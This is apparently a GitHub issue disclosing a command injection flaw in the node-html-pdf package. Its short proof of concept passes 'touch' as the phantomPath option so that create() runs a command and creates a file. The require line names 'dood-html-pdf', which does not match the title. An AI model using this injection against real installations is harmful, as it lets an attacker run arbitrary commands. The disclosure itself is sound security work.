Skip to content

Potential injection vulnerability in node-html-pdf #701

@xiaofen9

Description

@xiaofen9

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method create() fails to sanitize its parameter options.phantomPath and lets it flow into a sensitive command execution API.

Here is the proof of concept.

var fs = require('fs');
var htmltopdf = require('dood-html-pdf');
var html = fs.readFileSync('example.html', 'utf8');
var options = {
 phantomPath: 'touch',
 phantomArgs: ['rce'],
 readLocalFile: true
};

var pdf = htmltopdf.create(html, options)
var exec = pdf.exec() // a file named rce will be created

Please consider fixing it. thanks!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions